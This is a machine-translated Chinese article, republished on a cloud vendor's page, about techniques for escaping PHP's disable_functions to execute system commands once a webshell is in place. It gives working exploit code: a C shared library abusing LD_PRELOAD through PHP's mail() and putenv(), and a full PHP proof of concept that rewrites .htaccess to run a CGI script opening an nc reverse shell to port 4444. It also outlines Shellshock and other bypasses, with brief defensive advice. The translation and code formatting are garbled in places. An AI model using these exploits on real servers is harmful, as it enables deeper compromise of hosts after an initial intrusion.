Bypass disable functions Execute PHP system Command summary

Source: Internet
Author: User
Tags apache php imagemagick php framework cve
This time to bring you bypass disable functions execute PHP system command summary, bypass disable functions Execute PHP system commands to note what, the following is the actual case, take a look.

First, why should bypass disable functions

For security reasons, many ops people will disable some of PHP's "dangerous" functions, such as eval, exec, system, etc., write it in the php.ini configuration file, what we call disable functions, especially the virtual host operator, In order to completely isolate customers from the same server and avoid large-scale security issues, the disable functions is often more stringent in its setup.

Attack and defense are opposites, but also complementary, since there is a function of the disabled measures, there will be someone trying to break through this layer of restrictions, we can only grasp the breakthrough mode and principles of the foundation, to better prevent such attacks.

Executing a system command is usually the inevitable action that an attacker wants to move further after taking the site Webshell, and if the system command cannot be executed, the next deeper attack will be difficult to continue, so the site manager disables functions like exec, System, and so on. However, with the continuous progress of technology, there are new ideas, and simply disable these functions, in some cases can not prevent attackers to achieve the purpose of executing system commands, then the attacker in what way to break through the disable functions? How can we guard against such attacks?

Ii. arbitrary command execution due to bash vulnerability

The GNU BASH environment Variable Remote Command execution Vulnerability (CVE-2014-6271) is a remote code execution vulnerability in GNU Bash, as described in the CVE introduction: "There are security holes in GNU Bash 4.3 and earlier, The vulnerability stems from a program that does not correctly handle function definitions within the values of environment variables. A remote attacker could exploit the vulnerability to execute arbitrary code with the help of a specially crafted environment variable. The following products and modules may be exploited: The Forcecommand feature in OpenSSH sshd, the mod_cgi and Mod_cgid modules in Apache HTTP server, DHCP clients, etc. ". In fact, PHP can also take advantage of this vulnerability to do a lot of things, possibly even directly in 80 to cause remote command execution. Details of this vulnerability can be found in cve-2014-6271 's information, which is not mentioned here.

Let's take a look at where PHP can use this vulnerability to bash. In fact, we can use more than one place, here we use the Mail function as an example, other places the same, can be self-analysis.

PHP's Mail function provides 3 required parameters and 2 optional parameters, here we mainly look at the last parameter, the PHP official manual on the last parameter description:

"Theadditional_parameters parameter can be used to pass a additional parameter tothe program configured to use when Sendi NG Mail using the sendmail_pathconfiguration setting. For example, this can is used to set the envelope senderaddress when using SendMail with the-f sendmail option.  Theuser that the webserver runs as should is added as a trusted user to thesendmail configuration to prevent a ' x-warning ' The header from being added to themessage when the envelope sender (-f) is set using this method. For Sendmailusers, the this file is/etc/mail/trusted-users. “

Simply put, this parameter can be used to add additional commands as the configuration when sending mail, such as the use of the-f parameter can set the message sender, etc., the official document in the example example #3也有所演示, specific reference to the official document: http://php.net/manual/zh/ function.mail.php.

In the source code MAIL.C of the mail function, we can find the following code snippet:

if (extra_cmd! = NULL) {       spprintf (&sendmail_cmd, 0, "%s%s", Sendmail_path, Extra_cmd);    } else {       sendmail _cmd = Sendmail_path;    }

If the fifth argument (Extra_cmd) is passed, the Sendmail_path and Extra_cmd are spliced into sendmail_cmd with spprintf (Sendmail_path in php.ini Path configuration item), and Sendmail_cmd is then dropped to Popen execution:

#ifdef php_win32    sendmail = popen_ex (Sendmail_cmd, "WB", NULL, NULL TSRMLS_CC), #else/    * Since popen () doesn ' t Indicate if Theinternal fork () doesn ' t work    * (e.g. the shell can ' t being executed) we explicitly set it to 0 to be    *s Ure we don ' t catch any older errno value. */    errno = 0;    SendMail = Popen (Sendmail_cmd, "w"); #endif

If the system default SH is Bash,popen will derive the bash process, and the cve-2014-6271 vulnerability we just mentioned directly leads us to use the mail () function to execute arbitrary commands, bypassing the disable_functions limit. But here is actually a problem, is extra_cmd before spprintf did a security check, my current PHP version is the latest 7.2.4, the code location in the 第371-375 line of MAIL.C:

if (force_extra_parameters) {       extra_cmd =php_escape_shell_cmd (force_extra_parameters);    } else if (Extra_cmd) {       extra_cmd =php_escape_shell_cmd (Zstr_val (Extra_cmd));    }

The Php_escape_shell_cmd function will pair special characters (including ' |*?~<>^ () []{}$\, \x0a and \xff. ' etc ' to escape, so is there no way out? No, we can use the PUTENV function to set an environment variable that contains a custom function and then trigger it via the mail function, which already has a POC on the web.

The same PHP function that calls the Popen derivation process also has imap_mail, or there may be other functions that we have not found, so the best way to prevent this kind of attack is to fix cve-2014-6271 this bash vulnerability by starting with the root cause.

Third, ld_preload: no bash vulnerability required

The above mentioned that the mail function exploits the Bash shell vulnerability can be implemented to break the disable functions limit execution System command, but like such a loophole, general security awareness slightly better operation and maintenance personnel, will be patched, then is not patched after it must be safe? Obviously the answer is no, ld_preload is the next interesting environment variable for the Linux system:

" it allows you to define a dynamic-link library that loads first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries in the middle of the main program and its dynamic link library, even the normal function library. On the one hand, we can use this function for our own or better functions (no other people's source code), but on the other hand, we can also inject programs into other people's programs, so as to achieve a specific purpose. "

It allows you to define a dynamic-link library that is loaded first before the program runs, and we just need to know that this is enough, what does that mean? This shows that we can almost hijack most of PHP's functions, and take the mail function above as an example, as mentioned above, the PHP mail function is actually called the system's SendMail command, then we look at what the SendMail call the library functions:

Using the Readelf-ws/usr/sbin/sendmail command, we found that the SendMail function called a number of standard library functions dynamically during the run, and we randomly selected a library function Geteuid to test.

First we write a dynamic link program of our own, HACK.C:

#include <stdlib.h> #include <stdio.h>    #include <string.h> void payload () {    system ("touch/ Var/www/html/test ");}  int Geteuid () {if (getenv ("ld_preload") = = NULL) {return 0;} Unsetenv ("Ld_preload");p ayload ();}

When the geteuid in this shared library is called, try to load the payload () function, execute the command, and create a file with the name test in the/var/www/html directory. Here the actual application should pay attention to the compilation platform and target as close as possible, and pay attention to the path problem, avoid unnecessary trouble, here we just as a test, do not consider these issues.

[Email protected]]# gcc-c-fpic hack.c-o hack[[email protected]]# gcc-shared hack-o hack.so

Let's put hack.so in the Web directory and write a PHP file for testing:

<?phpputenv ("ld_preload=/var/www/html/hack.so"); Mail ("[email protected]", "", "", "", ""); >

Our/var/www/html/directory was originally only hack.so and index.php these two files, when we visit the index.php page in the browser, we can see that there is a more test file in the directory, indicating that our system command execution succeeded.

(PS: The author actually tests the environment is vmplayer7+centos7+apache2.4+ PHP7.2.4 environment, the test encountered a problem, that is, every time you refresh access to index.php, the VM process will be crazy to read and write to the hard disk, almost exclusive disk of all the active time (mechanical hard disk), causing the virtual machine to stutter to the mouse can not be moved, the physical machine has been affected significantly lag, about half an hour or so Suddenly disappears, the final test results are successful. Do not know what causes this phenomenon, need further study, but not within the scope of this article. )

This bypass behavior is simple to implement, and so far is not limited by the PHP and Linux versions, but it is also very easy to defend, as long as disabling the related function (putenv) or restricting the transfer of environment variables is possible, but pay attention to the existing business impact.

In fact, for this problem, as early as 2008, someone to the PHP official feedback, but PHP gives the reply is you better disable the PUTENV function: https://bugs.php.net/bug.php?id=46741, So we have reason to believe that there is no specific solution to this problem in subsequent versions of PHP.

Iv.. htaccess: More than redirects

You must be familiar with the. htaccess file, yes, in Apache's web environment, we often use. htaccess this file to determine the URL rewrite rules in a directory, especially some open-source CMS or frameworks that are often used, such as the famous Open source forum Discuz !, you can use the. htaccess file to implement the static URL, most of the PHP framework, such as thinkphp and Laravel, in the Apache environment using the. htaccess file to implement the routing rules. However, if the. htaccess file is modified by an attacker, an attacker could use Apache's mod_cgi module to directly bypass any PHP restrictions to execute system commands.

For mode_cgi, you can refer to the official Apache Note: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html.

"Any file that has MIME type application/x-httpd-cgi or is processed by the Cgi-script processor (Apache 1.1 or later) will be treated as a CGI script and run by the server and its output will be returned to the client. There are two ways to make a file a CGI script, or the file has an extension defined by the AddType directive, or the file is in the Scriptalias directory. "This means that Apache allows Web servers to interact with executables, meaning that you can write Web applications in C or Python, and it sounds like we can do whatever Apache rights users can do, so how do we do that?"

First, you need to meet a few conditions, first, must be Apache environment, second, MOD_CGI has been enabled (in my environment is enabled by default), third, The. htaccess file must be allowed, that is, in httpd.conf, note that the allowoverride option is all, not none, and IV, must have permission to write the. htaccess file. In fact, these conditions are relatively easy to meet, meet the above conditions, you can "do things".

In Apache configuration, there is a very important directive, the Options,options directive is a more common and important instruction in the Apache configuration file, the Options directive can be in the Apache Server Core configuration (server config), Used in Virtual host configuration (Vsan), specific directory configuration (directory), and. htaccess files. The main function of the options directive is to control which server features are enabled for a particular directory. You can refer to this article for the specific function and meaning of the options directive that can be attached after the option: http://www.365mini.com/page/apache-options-directive.htm, Of course we use the execcgi option, which means that CGI scripts are allowed to be executed using the MOD_CGI module. In addition to the options, we also need to cooperate with another AddHandler instruction to use, if you are not familiar with AddHandler, it is easy to explain it is much easier to understand: AddType We must be familiar with, such as the configuration of Apache PHP support, A single line like addtypeapplication/x-httpd-php. PHP is often added, which actually specifies the mapping between the file extension and the content type, while AddHandler specifies the relationship between the extension and the handler, that is, You can specify a file for a specific extension, and how to handle it.

With options and AddHandler, we can arbitrarily specify a specific file extension to be processed in a specific program, so the idea is clear: first write the program you want to execute into a file of a specific extension, The. htaccess file is then modified by the options directive to allow the CGI script to be executed using the MOD_CGI module and then let our specific extension be processed in cgi-script so that we can even bounce a shell out.

The POC is as follows, with notes:

<?php$cmd = "Nc-c '/bin/bash ' 127.0.0.1 4444"; Bounce a shell out, here with the local 4444 port $shellfile = "#!/bin/bash\n"; Specify Shell$shellfile. = "Echo-ne \" content-type:text/html\\n\\n\ "\ n"; This header needs to be specified, otherwise it will return 500$shellfile. = "$cmd"; Functioncheckenabled ($text, $condition, $yes, $no)//this surely can be shorter{echo "$text:". ($condition? $yes: $no). "<br>\n";}   if (!isset ($_get[' checked ')) {@file_put_contents ('. htaccess ', "\nsetenv htaccess on", file_append); Header (' Location: '. $_server[' php_self '). '? Checked=true '); Perform an environment check}else{$modcgi = In_array (' mod_cgi ', Apache_get_modules ());//Detect if mod_cgi is turned on $writable = is_writable ('. ');//Detection Whether the current directory is writable $htaccess =!empty ($_server[' htaccess '));//detection is enabled. htaccess checkenabled ("mod-cgienabled", $modcgi, "Yes", "    No ");    checkenabled ("IsWritable", $writable, "Yes", "No");  checkenabled ("Htaccessworking", $htaccess, "Yes", "No"); if (! ( $modcgi && $writable && $htaccess)) {echo "Error. All of the above mustbe true for the script to WOrk! "; All conditions must be met} else {checkenabled ("backing up.htaccess", Copy (". htaccess", ". Htaccess.bak"), "suceeded! Saved in. Htaccess.bak "," failed! "); Back up the original. htaccesscheckenabled ("Write. Htaccessfile", File_put_contents ('. htaccess ', "Options +execcgi\ Naddhandlercgi-script. Dizzle ")," succeeded! "," failed! "); /.dizzle, our specific extension checkenabled ("Write shellfile", file_put_contents (' Shell.dizzle ', $shellfile), "succeeded!", " Failed! "); /write File checkenabled ("Chmod777", chmod ("Shell.dizzle", 0777), "succeeded!", "failed!"); /give permission to echo "executing the script now." Check your listener  "; Call}}?>

We open the NC monitor 4444 port locally, and then opened this page in the browser, if the execution succeeds, will bounce a shell to 4444 port:

When accessing the POC, the successful rebound of a shell to a local port 4444, you can see the echo after the execution ID command.

V. Other ways

In some specific cases, in addition to the above-mentioned methods, There are many disabled functions that can bypass php.ini to achieve the purpose of executing the system command, but because these methods are limited, there are few conditions to meet the real environment, so for space reasons, the following is only a rough introduction of a few other bypass methods, and provide relevant detailed article links, if interested in detail, you can refer to the Internet Information on the relevant data.

ImageMagick

ImageMagick is a widely used image processing program, many vendors including Discuz, Drupal, WordPress and other commonly used CMS also called ImageMagick extension or ImageMagick library for image processing, including image stretching, cutting , watermark, format conversion, and so on. In all previous versions of imagemagick6.9.3-9, a vulnerability could trigger command injection when a user passed in a picture containing "malformed content," and the authorities did not fully fix the vulnerability in version 6.9.3-9. The specific use and defense of this vulnerability can be consulted:

Http://wooyun.jozxing.cc/static/drops/papers-15589.html.

Pcntl_exec

Pcntl is an extension under Linux that can support multi-threaded operation of PHP. There are a lot of times when the EXEC function is disabled, but if the operator is not aware of the security awareness or does not know much about PHP, it is likely to ignore the pcntl extension's related functions.

COM Components

Windows environment, when the php.ini settings com.allow_dcom =true, you can execute system commands through COM components, or even open safe mode can, related data reference: https://www.exploit-db.com/ exploits/4553/.

Win32std

WIN32STD is an old PHP extension in which the Win_shell_execute function can be used to execute Windows system commands: https://www.exploit-db.com/exploits/4218/.

Vi. Summary

For an intruder, executing a system command is almost necessary if you want to get a higher level of access or more data and information after you get a webshell. When there are some flaws in the PHP application that lead to an intrusion, how to minimize the loss becomes the primary issue. It is not difficult to see from the methods listed in this article that as long as the mastery of these principles, the prevention of work is very simple and effective, as long as the constant attention to security dynamics, is fully able to do the above measures to prevent the bypass.

Believe that you have read the case of this article you have mastered the method, more exciting please pay attention to the PHP Chinese network other related articles!

Recommended reading:

Php+ajax to get the news data case detailed

PHP Curl batch to implement a controllable concurrent asynchronous operation case study

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.